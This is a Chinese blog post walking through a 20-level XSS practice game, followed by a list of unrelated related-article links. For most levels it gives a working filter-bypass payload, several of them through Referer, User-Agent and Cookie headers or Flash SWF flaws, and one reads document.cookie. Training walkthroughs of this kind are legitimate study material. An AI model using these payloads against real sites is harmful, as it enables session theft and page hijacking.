源码:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip

感谢源码作者提供了这样的环境。

我自己在本地虚拟机的路径,http://127.0.0.1/xss/  打开后提示点击图片,进入第一关。

第一关:输入的变量直接被输出,直接构造payload即可。

http://127.0.0.1/xss/level1.php?name=<script>alert(1)</script>

http://127.0.0.1/xss/level1.php?name=test‘<script>alert(1)</script>

第二关:搜索框的XSS,输入的变量直接输出到input标签内,闭合input标签,构造XSS,备注:echo语句输出到页面时使用了htmlspecialchars函数。

payload:

http://127.0.0.1/xss/level2.php?keyword=test"><script>alert(1)</script>

第三关:输入的变量被htmlspecialchars函数处理了,这个函数处理的字符有<  >  "  ,没有处理单引号,因此利用单引号构造payload,先通过单引号闭合value

http://127.0.0.1/xss/level3.php?keyword='onmouseover='alert(1)'

第四关:大于号 小于号 被过滤了,构造不包含这两个符号的payload,value的值与第三关有所差异,这里需要使用双引号用于闭合value标签

http://127.0.0.1/xss/level4.php?keyword=test"onmouseover='alert(1)'

第五关:<script  和on被替换了,构造不含这两个的payload

127.0.0.1/xss/level5.php?keyword=find a way out!1"><a href="javascript:alert(1)">

第六关:比第五关过滤的东西更多,包括了src  data  href  ,可以把这些关键字大写,以绕过这些过滤,payload

http://127.0.0.1/xss/level6.php?keyword=break it out!1"><SCRIPT>alert(1)</script>

第七关:增加strtolower函数把输入变量转成了小写,但过滤的字符强制变成空格,可以使用<scriscritpt>,中间的script变成了空格,正好变成了<script>

127.0.0.1/xss/level7.php?keyword=move up!1"><scriscriptpt>alert(1)</scriscriptpt>

第八关:input中输入的变量通过htmlspecialchars被处理了,且双引号被替换成空,无法通过双引号闭合value。这里的输入被添加至超链接中,直接构造payload:javascript,对其中的字母进行实体编码

搜索框中输入  javascript:alert(1)    点击添加到友情链接,点击链接

第九关:上一关的基础上,判断输入的链接是否包含http://,因为用的是strpos函数,没有限制必须是开始的位置,所以在上一关的基础上,修改payload为 javascript:alert('http://')

第十关:keyword变量没办法构造payload,发现隐藏变量t_sort,可以被写入,但过滤了大于小于号,构造不含大于小于号的payload,类型改为text,具体如下:

http://127.0.0.1/xss/level10.php?t_sort="onmouseover='alert(1)'type="text"

第十一关: 查看源码:  可以看到t_ref的value是我们访问这个网页的referer值,故可以抓包修改referer,在referer后加入” onmouseover='alert(1)' type="text"。

第十二关:查看源码,$str33最初是由HTTP_USER_AGENT过滤<  >  而来,修改User-Agent,在后面加上" onmouseover='alert(1)' type="text"。

第十三关:同上,查看源码,$str33最初是由cookie过滤<  >  而来,修改cookie,在后面加上" onmouseover='alert(1)' type="text"。

第十四关:网站已经打不开,略过

第十五关:没太看懂,略过

第十六关:script  /  空格被过滤了 ,用%0d换行符绕过

http://127.0.0.1/xss/level16.php?keyword=%3Cimg%0dsrc=1%0donerror=alert(2)%3Ealert(2)

第十七关:arg01和arg02  被htmlspecialchars过滤了,通过onmouseover='alert(1)'绕过。

http://127.0.0.1/xss/level17.php?arg01=a&arg02=%20onmouseover=alert%282%29

第十八关:同十七,直接把arg02 设置为onmouseover='alert(1)'

http://192.168.40.128/xss/level18.php?arg01=a&arg02= onmouseover=alert(2)

第十九关:

这一关开始是flash xss了,首先下载页面中的flash,对源码进行分析,我用的是JPEXS这款工具。发现是actionscript 2.0,首先定位getURL函数,
sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));
再追踪到sIFR的内容,省略了一些代码,关键代码如下:
if(_loc5_ && _root.version != sIFR.VERSION)
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link时,打开,故定位以下函数:
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
}
所以构造最终payload,如下:
http://sqler.win/xss/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E
点击传入进去的’xss_by_SST‘就可以触发XSS。
第二十关:将swf下载下下来分析得知是zeroclipboard.swf , 百度一下,有漏洞详情,构造payload如下:http://sqler.win/xss/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height
 
后面两关没做出来,参考了其他人的答案。
 
 
 

XSS练习小游戏和答案参考的更多相关文章

  1. xss games20关小游戏附源代码

    1. get方式的的值直接输出来了. ?name=<script>alert(1)</script> 2. 同样没有过滤,不过需要闭合前边的双引号和>. "&g ...

  2. xss小游戏通关

    xss url:http://test.ctf8.com/level1.php?name=test 小游戏payload: <script>alert("'test'" ...

  3. Monyer.cn黑客小游戏

    花了一天的时间,Monyer给大家带来了一个有趣的东东——拥有15个关卡的黑客小游戏. 入口http://monyer.com/game/game1 因为一直以来都是大家跟我一起学习网络技术嘛,所以这 ...

  4. Demo_2:Qt实现猜字小游戏

    1  环境 系统:windows 10 代码编写运行环境:Qt Creator 4.4.1 (community) Github: 2  简介 参考视频:https://www.bilibili.co ...

  5. jQuery实践-网页版2048小游戏

    ▓▓▓▓▓▓ 大致介绍 看了一个实现网页版2048小游戏的视频,觉得能做出自己以前喜欢玩的小游戏很有意思便自己动手试了试,真正的验证了这句话-不要以为你以为的就是你以为的,看视频时觉得看懂了,会写了, ...

  6. JavaScript版拼图小游戏

    慕课网上准备开个新的jQuery教程,花了3天空闲时间写了一个Javascript版的拼图小游戏,作为新教程配套的分析案例 拼图游戏网上有不少的实现案例了,但是此源码是我自己的实现,所以不做太多的比较 ...

  7. C\C++ 1A2B小游戏源码

    学了一段时间,心血来潮写了一个1A2B小游戏,很多人应该玩过,是一个挺有意思的益智小游戏,之前用易语言写过,现在又用C++重写了一下. 编译运行无错,整体程序设计思路为:进入循环,初始化游戏,读入一个 ...

  8. DOM+CSS3实现小游戏SwingCopters

    前些日子看到了一则新闻,flappybird原作者将携新游戏SwingCopters来袭,准备再靠这款姊妹篇游戏引爆大众眼球.就是下面这个小游戏: 前者的传奇故事大家都有耳闻,至于这第二个游戏能否更加 ...

  9. [安卓] 12、开源一个基于SurfaceView的飞行射击类小游戏

    前言  这款安卓小游戏是基于SurfaceView的飞行射击类游戏,采用Java来写,没有采用游戏引擎,注释详细,条理比较清晰,适合初学者了解游戏状态转化自动机和一些继承与封装的技巧. 效果展示    ...

随机推荐

  1. Python 字节码是什么

    了解 Python 字节码是什么,Python 如何使用它来执行你的代码,以及知道它是如何帮到你的. 如果你曾经编写过 Python,或者只是使用过 Python,你或许经常会看到 Python 源代 ...

  2. android 布局的两个属性 dither 和 tileMode

    tileMode(平铺)tileMode(平铺) 的效果类似于 让背景小图不是拉伸而是多个重复(类似于将一张小图设置电脑桌面时的效果) dither(抖动) Dither(图像的抖动处理,当每个颜色值 ...

  3. [POI2015]WIL-Wilcze doły

    题目描述 给定一个长度为n的序列,你有一次机会选中一段连续的长度不超过d的区间,将里面所有数字全部修改为0.请找到最长的一段连续区间,使得该区间内所有数字之和不超过p. 输入格式: 第一行包含三个整数 ...

  4. [THUSC 2016] 补退选 (Trie树)

    link $solution:$ $Trie$树很显然吧,那么如何去处理每次询问.对于$Trie$树的每个节点放一个$vector$表示其若有$v$个人的最小时间. #include<iostr ...

  5. D. Dog Show 2017-2018 ACM-ICPC, NEERC, Southern Subregional Contest, qualification stage (Online Mirror, ACM-ICPC Rules, Teams Preferred)

    http://codeforces.com/contest/847/problem/D 巧妙的贪心 仔细琢磨... 像凸包里的处理 #include <cstdio> #include & ...

  6. redis 新开端口号

    2012 ps aux | grep redis 2013 cd /usr/local/redis/ 2014 ls 2015 cd etc/ 2016 ls 2017 cp redis.conf r ...

  7. Docker网络 Weave

    当容器分布在多个不同的主机上时,这些容器之间的相互通信变得复杂起来.容器在不同主机之间都使用的是自己的私有IP地址,不同主机的容器之间进行通讯需要将主机的端口映射到容器的端口上,而且IP地址需要使用主 ...

  8. css基础--常用css属性02

    上篇地址:css基础--常用css属性01 本文参考菜鸟教程和w3school 1  浮动和清除浮动 在上篇的第十一节--定位中说道: CSS 有三种基本的定位机制:普通流.浮动和绝对定位. 普通流和 ...

  9. Java基础-Calendar类常用方法介绍

    Java基础-Calendar类常用方法介绍 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.Calendar类概念 Calendar 类是一个抽象类,它为特定瞬间与一组诸如 Y ...

  10. Ubuntu 14.04安装和3556sdk环境配置

    1.配置为固定ip: vi /etc/network/interfaces 最后添加 iface eth0 inet staticaddress 192.168.1.100netmask 255.25 ...